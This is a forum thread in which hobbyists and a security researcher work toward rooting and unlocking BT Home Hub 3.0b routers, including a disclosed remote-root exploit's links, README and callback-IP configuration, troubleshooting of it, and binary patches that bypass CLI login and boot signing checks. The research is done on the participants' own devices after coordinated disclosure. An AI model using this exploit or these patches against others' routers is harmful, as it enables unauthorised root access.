Please note that you are talking directly to the device and that Linux kernel based OS' are case sensitive. Hence you should take care in steps 4 - 6 not to confuse 'BTAgent' with './btagent'. :)
[Edited to correct the error in step (5). With thanks to Eric for drawing it to my attention.]
-
Thanks for that bit of information. I hadn't realised that BTAgent was still running on the unlocked firmware. Just one comment: the command kill --TERM <pid> doesn't work ("unknown option -TERM") but kill -9 <pid> works fine.
-
Oops. :-[ Paw slippage. I should have typed:
kill -TERM pid
i.e. one hyphen, not two.
There is one further step that the purists can take and that is to unmount the dedicated partition for the BTAgent's evil ways --
(7) Check the mounted partitions. (mount). That used by the busy-body will be quite obvious. Issue a umount /dev/whatever command to unmount it.
-
lol it's all good in the modem - but It is also in the bthh3.0b router too... - now disable that one! :P
lol
just reading back through Zachs Twitter page - looking at all the info on their regarding the BT HH3.0b and the work he was doing i found a few obvious posts but one very nice looking pic that wasn't posted here before ;) there may be other posts in reference to the BT HH3.0b but i cannot determine them myself or i believe i know they are but would need clarification
Zachary Cutlip @zcutlip
Remote root on a HomeHub 3.0 Type B SoHo router. ;-) https://vimeo.com/52954499
Zachary Cutlip @zcutlip
Ladies and Gentlemen, we have a crash. http://img.ly/owDv
Zachary Cutlip @zcutlip
Fun with a British Telecom soho router on a perfect patio afternoon. http://pic.twitter.com/ndlPVWa2
-----------------------------
Zachary Cutlip @zcutlip
Config file re-encrypted/re-signed and accepted by router. Next up, start dicking around with hidden settings.
---------------------------
Zachary Cutlip @zcutlip
With @devttyS0 spotting me, I successfully RE’d the decryption for British Telecom soho routers’ configs. Next step: re-encrypt/re-sign.
-
lol it's all good in the modem - but It is also in the router too... - now disable that one! :P
Disconnect the Beattie supplier router, give it a gentle tap with a 14 lb sledge hammer, sweep up the bits, drop them into the bin and connect your own router/switch/WAP/DHCP server, etc. Some people ask the most obvious sort of questions! ::)
-
:lol:
You see i have the opposite problem to most people here - My BT HH3.0b works with my Huewei Modem - and i get good speeds, :shrug2: - which is completely unlike BT i must say! (might be something to do with my track record of harrassing them immediately upon the discovery of a problem)
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww.speedtest.net%2Fresult%2F2314985270.png&hash=aebf73bb79e3c09b48462685b16c9314d3e4505e)
so all i really need is to remove the BTagent from my router and bingo - i have a damned fine connection without the appearance of what could be "Spyware"
I have tried other routers and found that though they work with my connection - none seem to ever be able to pick up the speeds this one does... despite testing routers for about a month to two months at a time. these results are pretty constant too, i am always about 2 Mb off my total download speed 5 at peek times.
So my interest in getting the HH3.0b unlocked is purely in the event that i switch to another provider. - which with BT's Prices could happen sooner rather than later.
-
I have to ask. What actual harm or potential harm and/or risk is caused by leaving BTAgent & TR-069 as factory set in the HG612 or any modem/router, locked or unlocked?
I have simply unlocked my HG612, leaving all its other settings as is (apart from enabling its internal logging).
Should I be genuinely concerned about this?
-
I have to ask. What actual harm or potential harm and/or risk is caused by leaving BTAgent & TR-069 as factory set in the HG612 or any modem/router, locked or unlocked?
I have simply unlocked my HG612, leaving all its other settings as is (apart from enabling its internal logging).
Should I be genuinely concerned about this?
I think the point is that no one knows..... you pays your money and makes your choice..... I for one think it is a step too far, not because I believe that BT are doing anything wrong necessarily but because any code like this which is a backdoor to BT 'could' become a backdoor to someone who is totally untrustworthy.
Stuart
-
just reading back through Zachs Twitter page - looking at all the info on their regarding the BT HH3.0b and the work he was doing i found a few obvious posts but one very nice looking pic that wasn't posted here before ;) there may be other posts in reference to the BT HH3.0b but i cannot determine them myself or i believe i know they are but would need clarification
You missed this one. ;-)
https://twitter.com/zcutlip/status/244054971740479488
-
Disconnect the Beattie supplier router, give it a gentle tap with a 14 lb sledge hammer, sweep up the bits, drop them into the bin and connect your own router/switch/WAP/DHCP server, etc.
Loving b*cat's sense of humour here, but do remember to then take the bin to your local civic amenties site (tip) to dispose of as WEEE waste. http://www.environment-agency.gov.uk/business/topics/waste/32096.aspx :angel:
-
For anyone who wants to have a crack, the below post describes enough to get going on trying to get a prompt on the hhv3b.
I've not managed it yet, but am giving up for a while, so if anyone does make progress from here, let us know.. :)
http://www.psidoc.com/showthread.php/823-Bt-home-hub-3-type-B?p=5024#post5024
-
I just wanted to update everyone on what's been going on. We've officially notified BT of the vulnerability, and I've been working with their security people on the issue. I have to say, BT has been super cool to work with. They're a very professional group. My understanding is that an updated firmware that addresses the issue will be forthcoming, but I'm not clear on when. For now, it is our intention to release a proof-of-concept exploit in 30 days. I'll try to post an update if that timeline changes.
Clearly, I can't share any technical details on the vulnerability, but I think it's okay to summarize the risk to users for those who are worried.
Based on my analysis, this vulnerability doesn't appear to pose a risk to users from the Internet--it is only exposed on the LAN side. As such, ensure that your wireless is secured with WPA2 so that only authorized users can connect. Also ensure no unauthorized users have access to your wired ethernet. Of course this is generally good advice that should be practiced even in the absence of known vulnerabilities.
Zach
-
I think it's okay to summarize the risk to users for those who are worried.
Thanks Zach, we will await your next move. I just hope it will work on my partially dead router; may be the only way to resurrect it :). I won't be able test with a live router as BT have replaced it with a V3A. As long as the exploit is not on the web interface, I may be be able to work with the V3B I have.
-
Thanks Zach for the update. :)
>> I have to say, BT has been super cool to work with.
I think I mentioned in an earlier post that they are amicable person-to-person. They also seem to have a lot of weight to be able to get the likes of Broadcom etc etc to jump PDQ.
>> addresses the issue will be forthcoming, but I'm not clear on when.
From my past experience, once the issue had been identified it took about 1-2 weeks for the new firmware to be released for testing, then another couple of weeks until it was rolled to the general public. I suppose it depends on how serious the issue is as to how urgent the roll out will be.
I also hope that they dont try to take this opportunity when correcting an exploit, to plug any holes for the advances made so far in 'friendly hacking' of the router. :unsure:
-
:hmm: Hmm . . . b*cat senses that a degree of misunderstanding has been shown in the latter posts to this thread.
Oops sorry, I was musing and rambling about TR069, but I think my post went on to say that I suspected the agent could be something to do with BT Fon ? :-[
I suppose its also not impossible for BT to write their own 'equivalent' of TR069 anyhow using SNMP.
-
Clearly, I can't share any technical details on the vulnerability, but I think it's okay to summarize the risk to users for those who are worried.
Seems to me that every BT Hub version to date has been hacked and the technical vulnerabilities published without the BT universe collapsing into a singularity. Publishing the details will hasten the day when users can:
1. Root the device and use it with another ISP.
2. Install an alternative firmware such as OpenWRT, DD-WRT, Tomato.
Just my 2c.
-
Seems to me that every BT Hub version to date has been hacked and the technical vulnerabilities published without the BT universe collapsing into a singularity.
Agreed. And I sort of thought that's how this one would play out as well. However, much to our surprise, things went differently this time. I don't know if BT reached out to researchers on previous versions of the BT Hub, or if they even had an opportunity to do so before the exploits were released, but they did reach out to us. As such there are legal ramifications that we have to consider. And this is not to mention our obligation to users who would be at risk and yet have no knowledge or interest in unlocking their BT devices.
At Tactical Network Solutions, the reaction we generally have gotten from vendors is silence and apathy when we've reported vulnerabilities. So when a vendor goes out of their way to work with us in good faith, we can't ignore that in good conscience. To be fair, BT asked for a much longer window than the current 30 day timeline. I think this represents a good compromise. It gives BT a fair chance to mitigate the vulnerability while getting this research into the hands of the community ASAP.
Users who hope to eventually unlock their BT Hubs should disconnect them if it is possible to use some other gateway device in the mean time. This will ensure those devices don't receive an undesired update.
Zach
-
Users who hope to eventually unlock their BT Hubs should disconnect them if it is possible to use some other gateway device in the mean time. This will ensure those devices don't receive an undesired update.
or we need an 'update' which is pre-fix which works through the firmware update page on the router... So far as I have heard, no-one has ever seen a firmware update file for this particular unit; although if someone works out what to ask for, it should be there on pb-motive....
-
So far as I have heard, no-one has ever seen a firmware update file for this particular unit; although if someone works out what to ask for, it should be there on pb-motive....
once people have a root shell on the hh3b, research into obtaining a firmware file should proceed fairly rapidly.
-
....For now, it is our intention to release a proof-of-concept exploit in 30 days. I'll try to post an update if that timeline changes....
The 30 day notice period has now expired......................
-
The 30 day notice period has now expired......................
I haven't forgotten. Stay tuned.
-
Okay here's the proof of concept exploit. Please note, *this isn't for everyone*. This will give you a root shell, which is essential for further research into unlocking, but it's not an unlock. I believe that a persistent unlock will follow relatively easily from this.
Please read the README for essential details.
A word of warning. You'll be tempted, like me, to muck around and make changes to the root filesystem on your live device. DON'T DO IT. You'll brick your device. I believe the bootloader performs an integrity check across the JFFS2 filesystems before booting. If this check fails the boot process stops.
You can check out the exploit code from:
https://github.com/zcutlip/exploit-poc.git
But it's probably easier to download this tarball:
http://s3.amazonaws.com/zcutlip_storage/homehub3b.tar.gz
Zach
-
Thank you, Zach. I shall examine your proof as soon as time permits. :)
-
thanks.. hope you can do something with it B'Kat 8)
-
Thank you, Zach. I shall examine your proof as soon as time permits. :)
Let me know if I can help or if anything doesn't make sense. Be sure to check the included vulnerability report for affected firmware versions.
Zach
-
A rather sleepy b*cat believes he has noticed a typo in the Vulnerability Report --
Credit for this discovery goes to Zachary Cutlip, zcutlip@tacnetsol.com and Tactical Network Solutions, LLC
Assistance provided by:
Craig Heffner, cheffner@tacnetsol.com
Form participants on http://www.kitz.co.uk/
sed 's/Form participants/Forum participants/' perhaps? :-X
-
The file environment.py was edited --
[bcat@Duo2 TNS_homehub3b_exploit]$ cat environment.py
# Copyright (c) 2013 Zachary Cutlip
# Tactical Network Solutions, LLC
#void 0 octects, and values that map to whitepace chacters.
#CALLBACK_IP="192.168.99.64"
CALLBACK_IP="192.168.1.2"
[bcat@Duo2 TNS_homehub3b_exploit]$
A script session was started and the exploit was invoked.
[bcat@Duo2 TNS_homehub3b_exploit]$ cat try-01.txt
Script started on Wed 09 Jan 2013 01:05:59 GMT
[bcat@Duo2 TNS_homehub3b_exploit]$ ll
total 3412
-rw-r-----. 1 bcat bcat 178 Jan 8 02:56 environment.py
-rw-r-----. 1 bcat bcat 3434454 Jan 8 22:41 HH3.0B_Remote_Exploit.mp4
-rwxr-x---. 1 bcat bcat 13009 Jan 8 02:12
-rw-r-----. 1 bcat bcat 18092 Jan 8 02:13 LICENSE
-rw-r-----. 1 bcat bcat 1291 Jan 8 02:12 msearch_crash.py
-rw-r-----. 1 bcat bcat 1177 Jan 8 02:51 README
drwxr-x---. 5 bcat bcat 4096 Jan 9 01:04 simplesploit
-rw-r-----. 1 bcat bcat 2611 Jan 8 22:27 TNS_Vulnerability_Report_BT_HomeHub_3.0b.txt
-rw-r-----. 1 bcat bcat 0 Jan 9 01:05 try-01.txt
[bcat@Duo2 TNS_homehub3b_exploit]$ hh3b_exploit.py
Traceback (most recent call last):
File "./hh3b_exploit.py", line 76, in <module>
from simplesploit.servers.callbacK_server import Callback
ImportError: No module named callbacK_server
[bcat@Duo2 TNS_homehub3b_exploit]$ exit
Script done on Wed 09 Jan 2013 01:08:39 GMT
[bcat@Duo2 TNS_homehub3b_exploit]$
The cat-cursing started. And abated after a few minutes when I noticed an errant upper case 'K'.
Someone has left a typo in the python code (hh3b_exploit.py)! :-X I wonder who it could be! :P
Now that he has the exploit working, b*cat --> :sleep: whilst Zach --> :doh:
-
sed 's/Form participants/Forum participants/' perhaps? :-X
Yup. Caught that one earlier, but hadn't committed the change yet. Updated now.
-
The cat-cursing started. And abated after a few minutes when I noticed an errant upper case 'K'.
Someone has left a typo in the python code (hh3b_exploit.py)! :-X I wonder who it could be! :P
Now that he has the exploit working, b*cat --> :sleep: whilst Zach --> :doh:
Drat! Thought I had committed that fix. :-/ Not up to my usual standards.
Should be fixed now.
-
WooT - i guess it is time to play! :D
Thank you zach - that is great news! and good to see!
-
thanks Zach - now we see if my 'dead' v3b is still running upnp :)
And yes it is! So, how to implement a permanent mod....
Well, one option is to create a modified usb-storage.ko, as this would be loaded from /var/modules on boot. Maybe have it restart the kernel with a new command line changing the rootfs to the backup rootfs, then the thing won't die from the bootloader checking of the rootfs (maybe! :). Another route would be to try to create a subversive bt plugin, but it's not obvious if these would be loaded from /var/middleware or not.
-
thanks Zach - now we see if my 'dead' v3b is still running upnp :)
And yes it is! So, how to implement a permanent mod....
Glad it's working for you.
Something that would be useful if someone is able to do it is to snag a firmware update file. So far I've been unsuccessful at making my devices update.
When you brick the hh3b, it boots into a recovery mode, allowing you to upload a firmware file. Having the firmware would allow us to take more risks in examining the device since there would be a way to recover if things go wrong.
-
speaking of bricking HH3 - did you get the new one i sent out yet zach?
saying that though my Mother sent out a parcel for me before the new year and that still hasn't arrived at mine yet...
how's this for an idea once we crack this little beauty, we go and crack the postal service and solve their problems...
-
speaking of bricking HH3 - did you get the new one i sent out yet zach?
saying that though my Mother sent out a parcel for me before the new year and that still hasn't arrived at mine yet...
how's this for an idea once we crack this little beauty, we go and crack the postal service and solve their problems...
Just came in today. Thanks. :-)
-
Awsome - oh and btw - they still haven't updated the firmware on the router!!!
-
one other thing that alludes me at the moment is the user & password for the CLI. The CLI *MAY* allow us to re-sign the rootfs....
s
-
I'm pretty close to understanding what we could do to enable write to the jffs2... Anyone up for checking my dis-assembly and methods? Testing it is high risk :)
-
I'm pretty close to understanding what we could do to enable write to the jffs2... Anyone up for checking my dis-assembly and methods? Testing it is high risk :)
I'm hoping to pitch in if I have some time over the weekend. You're moving much faster than I have been lately.
Once we can write to the JFFS2 we'll be able to do a number of things, such as enable ssh, and instrument some of the programs on there which will further aid analysis.
Have you noticed that if you plug in a USB drive it gets mounted? Great way to get a debugger or other utilities on there without touching the root file system.
Recently, and for the foreseeable future, I'll be keeping personal and work projects a bit more segregated. This basically means I won't have as many spare cycles as I used to. :( Hopefully I'll continue to be helpful though.
I also have some ideas for snagging the user & password for the CLI. I was working on that quite a bit before Christmas but haven't circled back lately.
Zach
-
Having initiated this thread with some images of the PCB, way back in November 2011, I have subsequently had very little to contribute . . .
Needless to say I follow all progress and discussion, avidly. When time permits, I will perform tests and checks to confirm potential results. I suspect that there are a number of more experienced persons working on this device, over at PsiDOC (http://www.psidoc.com/). Cross-pollination is good! ;)
-
I suspect that there are a number of more experienced persons working on this device, over at PsiDOC (http://www.psidoc.com/). Cross-pollination is good! ;)
Some of us are on both. ;-)
-
I have successfully changed the 'Digital Check' flag....
cli is modified to take any username and password, then
'upgrade set flag n' (n 0-4?) sets it.
'upgrade get flag' gets it.
equipcmd is modified to take out 'CmdEnableCheck', and this has
'equipcmd disbootfrom' which displays main or 'salve', and
'equipcmd setbootfrom SLAVESS' which changes it to slave image.
When the set command is run in gdb, it reads the 16k of flash which contains the boot flag at offset 0x3000 - this is how i confirmed it actually changed.
Once I had confirmed it had actually changed, and re-checked the CFE code where a value of '2' produces a print of 'SIGN NONE CHECK', a I was supremely confident...
I tested change to '1' and reboot, and it changed back to '0' (for '1', CFE seems would say 'SIGN FIR CHK.' (first?).
I tested change to '2' and reboot, and it stayed at '2'.
Even more confident now, I set it to use the SLAVESS. On reboot, it reported it was using main again...
Then, the fatal blow. I remounted the rootfs rw
mount -o remount,rw /
then i copied a file into bin, and rebooted.
Now i have a lovely red light, and a web page inviting me to supply an upgrade file....
My only saving grace is that MAYBE mine will take an unsigned upgrade file :(... I have the flash image, so I could investigate the DG source's image file creation, and see if I can make something that works... but....
mod to cli is:
change 0x39cd to 40->00
change 0x39e5 to 40-?00
mod to equipcmd is:
change 0x190 1044->0000
change 0x1906 027e->0000
So, experiment, but don't change the FS unless you are even more sure than me!!!
We need a mips simulator running the CFE before we do this again... I think we are going to need to change the CFE, which also means we'll need to re-write the jffs2 completely as the CFE boot part only looks for the first jffs2 reference to cfe.
-
Oh . . . :o
So close but not close enough. Keep on with the good work, when time permits, please. :)
-
Now i have a lovely red light, and a web page inviting me to supply an upgrade file....
My only saving grace is that MAYBE mine will take an unsigned upgrade file :(... I have the flash image, so I could investigate the DG source's image file creation, and see if I can make something that works... but....
This is very disappointing. Same result I had first time I touched the file system. Fortunately I still have a couple more devices that still work. I'm hoping to have time to resume research soon.
Two things that would help immensely if any one wants to pursue them are:
(a) intercept the device's update process and snag an update file. There are a few ways to approach this problem. I can help with this if anyone's interested.
(b) locate a UART or JTAG header on the device's circuit board. It seems like there isn't one, but I'd like to be wrong.
Zach
-
btsimonh,
Looks like you need my "Hacking is Bullshit" t-shirt I made on Zazzle:
http://www.zazzle.co.uk/hacking_is_bullshit-235070800087539298?rf=238129238465169149
(Full disclosure. That's an affiliate like that sends me a kick back if you buy the shirt.)
Zach
-
Well... This is embarrassing...
I finally got one of those silly circular things (round-twit) and started looking at the homehub again.
Unfortunately I, err... Cannot get the exploit to work :-[
Using wireshark I can see the SSDP request going out but there is no response from the homehub.
I've checked the firmware version, tried several different configurations including Zach's default (192.168.99.64) and even hooked it up to my line to check it was working properly which it certainly appears to be. I had no trouble accessing the internet using it.
So now I'm sort of stuck... :'(
Suggestions anyone?
-
Suggestions anyone?
What firmware version does it report?
-
I've been meaning so say Congratulations to zcutlip! ;D Amazing discoveries!
At last got hold of a spare BTHH3.0b so I will try out the 'sploit on that :)
cheers, a
-
I've been meaning so say Congratulations to zcutlip! ;D Amazing discoveries!
At last got hold of a spare BTHH3.0b so I will try out the 'sploit on that :)
cheers, a
Awesome. Let us know how it goes. Be sure to get in touch with btsimonh either here or over on psidoc. He has an impressive amount of unpublished research on the boot loader.
-
Suggestions anyone?
What firmware version does it report?
It's reporting the following which is the same version listed in your advisory.
Hub Firmware Information
Current firmware: V100R001C01B031SP09_L_B
Last updated: Unknown
-
It's reporting the following which is the same version listed in your advisory.
Hub Firmware Information
Current firmware: V100R001C01B031SP09_L_B
Last updated: Unknown
Hmmm. Not sure what the problem might be. So, to be clear, when you tried my configuration of 192.168.99.64, that was your computer's IP address, as reported by ifconfig? So the HH3b's IP address was 192.168.99.254?
If for some reason the hub wasn't able to phone home due to addresses misconfigured or some other fluke, it's possible, even likely, that the exploit crashed bcmupnp running on the target. You may want to reboot the HH3b each time you run the exploit, just to be sure.
You can also use Craig Heffner's miranda tool to verify whether bcmupnp is up and responding to SSDP. Run miranda and do an msearch. You should get back a WFADevice in the results.
Here's a link to miranda:
https://code.google.com/p/miranda-upnp/
-
Well... That was fun...
The Law of Unintended Consequences bites one on the behind yet again ::)
It seems that disabling the wireless interface stops the exploit from working.
Thanks for your help Zach. It is much appreciated.
Jonathan
-
Well... That was fun...
The Law of Unintended Consequences bites one on the behind yet again ::)
It seems that disabling the wireless interface stops the exploit from working.
Thanks for your help Zach. It is much appreciated.
Jonathan
Whoops. Yup. Makes sense. bcmupnp is for management of the wireless interfaces via UPnP. Got it working now?
-
Well... That was fun...
The Law of Unintended Consequences bites one on the behind yet again ::)
It seems that disabling the wireless interface stops the exploit from working.
Thanks for your help Zach. It is much appreciated.
Jonathan
Whoops. Yup. Makes sense. bcmupnp is for management of the wireless interfaces via UPnP. Got it working now?
Ah...
I wasn't aware of that. I must admit I didn't look too closely at what you were targeting before trying it.
Once I had confirmed that upnp was working using miranda I did a factory reset and went from there. It worked first time of course.
After that it was just a case of determining which config setting was stopping it.
-
(a) intercept the device's update process and snag an update file. There are a few ways to approach this problem.
I have been thinking about the means to achieve such a result and, to date, have either drifted off into sleep or hit a mental 'brick-wall'. Zach, would you have any general procedures to share, please? ???
-
(a) intercept the device's update process and snag an update file. There are a few ways to approach this problem.
I have been thinking about the means to achieve such a result and, to date, have either drifted off into sleep or hit a mental 'brick-wall'. Zach, would you have any general procedures to share, please? ???
One idea I had was to run BTAgent in qemu using a 'standard' rootfs.
Unfortunately, I'm having trouble getting Buildroot to play nice. The build stops and starts asking lots and lots of questions about things I know absolutely nothing about. Can't seem to find any documentation on them either.
I may have to try using OpenWART instead but the old saying about pigs ears and silk purses comes to mind :)
-
@burakkucat
A couple of approaches come to mind. One would be to write a program (this could be as simple as a shell script) that monitors for the existence of the downloaded update file. When that file appears, and as long as it continues to exist, loop and make a copy of it. At one point I had worked out what the file gets named when BTAgent downloads it. I'll look into that and post back.
Another approach would be to run your WAN/PPPoE connection through a hub or LAN tap, and do a full packet capture, for days, or more likely, weeks. Tcpdump has options for chunking and compressing the capture. Analyze the capture in wireshark every few days to see what is going on between your HH3b and the mothership. Even if you don't see a firmware downloaded, you may see SOAP chatter that contains valuable intelligence.
@howlingwolf
At the risk of discouraging you, I suspect BTAgent has substantial dependencies on the BT hardware. At the very least, I think it will want to pull configuration information from NVRAM.
If you do want to pursue this, I'd download a ready-built Debian MIPS QEMU image. Copy the BT's root filesystem into a subdirectory of your Debian QEMU system. Then chroot into the BT root filesystem to run BTAgent.
-
@howlingwolf
At the risk of discouraging you, I suspect BTAgent has substantial dependencies on the BT hardware. At the very least, I think it will want to pull configuration information from NVRAM.
If you do want to pursue this, I'd download a ready-built Debian MIPS QEMU image. Copy the BT's root filesystem into a subdirectory of your Debian QEMU system. Then chroot into the BT root filesystem to run BTAgent.
I don't thing it's that bad actually. The only error being reported is File not found for libhuawei.so :P
Seriously, I've managed to get it running since my last post. I solved the problem with Buildroot by simply moving to the latest release. I had been trying to use the same version used to create the HomeHub rootfs (Buildroot 2010.02).
BTAgent seems to run ok apart from the above mentioned error. It then appears to go into a loop reporting firmware version, serial number, manufacturer, etc. are null.
My next step is to try and determine where that info is coming from (libhuawei ?) and fake it from there :)
Another approach would be to run your WAN/PPPoE connection through a hub or LAN tap, and do a full packet capture, for days, or more likely, weeks. Tcpdump has options for chunking and compressing the capture. Analyze the capture in wireshark every few days to see what is going on between your HH3b and the mothership. Even if you don't see a firmware downloaded, you may see SOAP chatter that contains valuable intelligence.
Honeywall might be suitable for this. It's intended for building honeypots but it functions as a fully transparent bridge so it may be adaptable to other uses such as this.
-
@burakkucat
A couple of approaches come to mind. One would be to write a program (this could be as simple as a shell script) that monitors for the existence of the downloaded update file. When that file appears, and as long as it continues to exist, loop and make a copy of it. At one point I had worked out what the file gets named when BTAgent downloads it. I'll look into that and post back.
Another approach would be to run your WAN/PPPoE connection through a hub or LAN tap, and do a full packet capture, for days, or more likely, weeks. Tcpdump has options for chunking and compressing the capture. Analyze the capture in wireshark every few days to see what is going on between your HH3b and the mothership. Even if you don't see a firmware downloaded, you may see SOAP chatter that contains valuable intelligence.
Thanks, Zach. Thinking about the latter, the Beattie Home Hubs 3.0A or B have both an xDSL port (for connection to a telephone line) or an 'Ethernet' port for connecting to the active CPE (just a Huawei HG612 or a ECI B-FOCuS acting in bridge mode). So the obvious point for such a tap would be between the active CPE and the HH (if a UK VDSL2 [FTTC] user) or something like a DrayTek Vigor 120 and the HH (if a UK ADSL2+ user).
-
Hello, I do not own a BBHH3B, but I was wondering if someone could send be some files from it. In the /etc/wlan ? dir, there appears to be some small .bin files starting with bcm43xx. I'm after the bcm4322_map.bin file inparticular for another router, but all the .bin's would be good.
-
Hello, I do not own a BBHH3B, but I was wondering if someone could send be some files from it. In the /etc/wlan ? dir, there appears to be some small .bin files starting with bcm43xx. I'm after the bcm4322_map.bin file in particular for another router, but all the .bin's would be good.
http://docs.google.com/file/d/0B6wW18mYskvBY2FZalRBUzRwR2M/edit
cheers, a
-
full featured busybox compiled for homehub (mips)
https://skydrive.live.com/#cid=0E86B6C68CC33600&id=E86B6C68CC33600%21103
copy to memory stick and access via /mnt/usb/<disklabel>
-
Welcome to the forum, towcow :-) Good stuff! Did you root the box using zcutlip's exploit? It would be nice to make something good of this device. Peeps over on ThinkBroadband are grumbling at its lack of configurability. That needn't be the case. Underneath its idiot-proof GUI is a very nice device! It would be great to get OpenWRT running on it :-)
cheers, a
-
http://docs.google.com/file/d/0B6wW18mYskvBY2FZalRBUzRwR2M/edit
Thank you!
-
Yes used zcutlip's exploit, ran it from Cygwin. Native Windows Python does not work due lack of fork() support
-
One of these is now winging its way to me from that site that begins with an E :).
-
Or is it an e, followed by a B? ;D
I will be interesting in reading about your experiments, in due course, Alec.
-
full featured busybox compiled for homehub (mips)
https://skydrive.live.com/#cid=0E86B6C68CC33600&id=E86B6C68CC33600%21103
copy to memory stick and access via /mnt/usb/<disklabel>
Hi
How would i go about using this on a homehub3b?
thanks
-
you need to run Zachary Cutlip's exploit to get a root shell onto the hub
https://github.com/zcutlip/exploit-poc/tree/master/BT/homehub3b
I ran the exploit from Cygwin on Windows. Or use a Linux/Unix device.
Then put a FAT32 or NTFS usbstick with busybox on it into the back of the Hub and it will automount as /mnt/usb/<disklabel>
-
How does one undo the exploit?
-
I can't get the exploit to work. I get:
Traceback (most recent call last):
File "./hh3b_exploit.py", line 75, in <module>
from simplesploit.overflow_development.overflowbuilder import RopGadget, OverflowSection, OverflowBuffer
ImportError: No module named simplesploit.overflow_development.overflowbuilder
Any ideas?
-
There is really not much to go wrong.
I will advise that you perform a factory reset of the HH3.0B ('paper-clip in the hole' technique) and then configure your computer's NIC as per the README file contained within the exploit package. Note that you will need to configure the CALLBACK_IP parameter to the appropriate IP address as used by your computer.
[bcat@Duo2 homehub3b]$ cat README
README
DESCRIPTION
This proof-of-concept exploit code will yield a root shell on the
target HomeHub 3.0b. See included vulnerability report for details
and affected firmware versions.
This is NOT an unlock for your HomeHub 3.0b. Although it will yield a
root shell, it does not, in itself, unlock your device. It probably is only
useful to and should be used by those interested in conducting further
research into the HomeHub 3.0b.
NOTES
--You must edit environment.py to set *your* ip address. This is
the address that the exploited router will call back to.
--This exploit is not whitespace-safe. What this means for you is
that your IP address must not contain any numbers which map to
whitespace characters (space, tab, carriage return, etc). It must
also not contain any 0 octets (e.g., 192.168.0.1).
--This is a multicast exploit. Any device on the same LAN as the target
device will receive the exploit packet. Generally, this should not be a
problem, but you may care to use this only on an isolated network. If any
*other* devices misbehave when using this exploit, I would be interested in
knowing. email me at uid000_at_gmail_com.
[bcat@Duo2 homehub3b]$
[bcat@Duo2 homehub3b]$ cat environment.py
# Copyright (c) 2013 Zachary Cutlip
# Tactical Network Solutions, LLC
#void 0 octects, and values that map to whitepace chacters.
CALLBACK_IP="192.168.99.64"
[bcat@Duo2 homehub3b]$
"Works For Me." :P
-
Yep, it's working in Cygwin now. I couldn't get it to work on Linux.
-
So does this exploit allow telnet access permanently? What do I do with busybox when its on the drive and plugged into the Home Hub?
-
It is probably not what you want . . . unless you are researching into the creation of an actual unlocking method. Let's look again at what Zach says --
This is NOT an unlock for your HomeHub 3.0b. Although it will yield a
root shell, it does not, in itself, unlock your device. It probably is only
useful to and should be used by those interested in conducting further
research into the HomeHub 3.0b.
Although I started this thread, way back when, I have not had the time available to commit to a dedicated assault on the device. :no:
Perhaps you would like to visit PsiDOC (http://www.psidoc.com/) and discuss the latest status for this modem/router with the regulars based 'over there'?
-
FYI - BT HomeHub 4.0 available soon.
See http://www.btplc.com/News/Articles/Showarticle.cfm?ArticleID=4E2E1EF5-FCBA-4CE4-B769-E48E0F68ACED
-
just had a new update done on my 3b
V100R001C01B036SP03_L_B
-
I too just got the V100R001C01B036SP03_L_B update. Exploit no longer works. Looks like SSDP has been disabled
-
Hello all,
Sorry for being away for a such a long time. I'm also sorry to see that peoples' HH3bs are getting patched and my exploit no longer works on the new firmware.
I just wanted to let everyone know that I'll be presenting this research at 44Con in London this September in case anyone is planning on attending.
http://44con.com/speakers/
I also wanted to let people know that I've cleaned up the exploit somewhat and refactored it to use my new project, Bowcaster. The exploit uses a payload encoder I wrote for Bowcaster, so whitespace and null bytes in the callback IP address should no longer be a problem.
You can get the PoC exploit code from github:
https://github.com/zcutlip/exploit-poc
And you'll need Bowcaster installed on your system as well:
https://github.com/zcutlip/bowcaster/tree/v0.1
Hope to see you at 44Con!
Zach
-
it would be great if eg. the hh5 became unlockable, like on VM their dir615 turned out to be a great router with ddwrt on it.
-
Thanks for the update Zach and good luck at the conference. :)
-
HI
I just little bit confused.
Do I need root BT HUb 3.0b to get WDS (wireless distribution system)?
Can anybody explain me in steps how to do it?
Thanks.
-
HI
I just little bit confused.
Do I need root BT HUb 3.0b to get WDS (wireless distribution system)?
Can anybody explain me in steps how to do it?
Thanks.
The exploit that I released earlier this year for the Home Hub 3.0b does not unlock the device, per se, nor does it enable any additional configuration capability. It is of interest to those concerned with further researching the device in pursuit of an actual unlock. I had thought one would come relatively easily once we had root, but it has turned out to be quite challenging.
Zach
-
http://docs.google.com/file/d/0B6wW18mYskvBY2FZalRBUzRwR2M/edit
Thank you!
Everyone here who put effort into this stuff and maintains it is the bomb.
Props
asbokid- rock on.
-
Hi,
Is there someone who saved the picture of the Olympus MA-USB1 asbokid hack ?
I tried to mod my MA-USB1 without success (media not found)
Thanks
Nico
I saw your post on the BT hub 3.0 nand dump using a sm/xD card reader. Can I ask where you did buy that spesific modell? Thanks for posting all the info and pictures, it helps me on my project!:)
Hi toffit,
The Genesys Logic GL827 card reader? It was 99p from ebay. The seller is in sunny Smethwick, iirc. Anywhere near you?
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww2.picturepush.com%2Fphoto%2Fa%2F8755465%2F480%2Fhomehub3.0b%2Fhh3.0b-nandremoved3.png&hash=85c5310bbb0aa6585f852e7fae5c209f3006c53c)
modified USB reader for SM/XD cards (Genesys Logic GL827 controller) (click to enlarge) (http://picturepush.com/public/8755465)
That card reader is not however the best choice for NAND hacking since it needs modifying. It is hardwired for xD-Picture cards. The GL827 controller uses (active low) lines to detect a xD-Picture and a SmartMedia card (signals XD_CDZ on pin 1 and SM_CDZ on pin 2. So these need swapping. See GL827 Datasheet here [1] )
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww3.picturepush.com%2Fphoto%2Fa%2F9672041%2F480%2Fhomehub3.0b%2Fgl827.png&hash=551def21b31d5eb32c708a83564cbcec0b90fb6e) (http://picturepush.com/public/9672041)
The GL827 also handles automatically the Error Correction Code specified in the xD and SM card standards. However, the embedded device (BT Home Hub or whatever), will almost certainly use a different ECC algorithm in its own NAND driver. So while the GL827 is fine for dumping the NAND contents, it is probably no good for re-flashing new data into the NAND (since there is no control over the ECC contents).
Currently, just experimenting with a different (obsolete) card reader for NAND hacking - the Olympus MAUSB-10.
(https://forum.kitz.co.uk/proxy.php?request=http%3A%2F%2Fwww4.picturepush.com%2Fphoto%2Fa%2F9672462%2F480%2Fhomehub3.0b%2FMausb-10.jpg&hash=23dd233e051a849245361e2a4424110543be67a5)
Olympus MAUSB-10
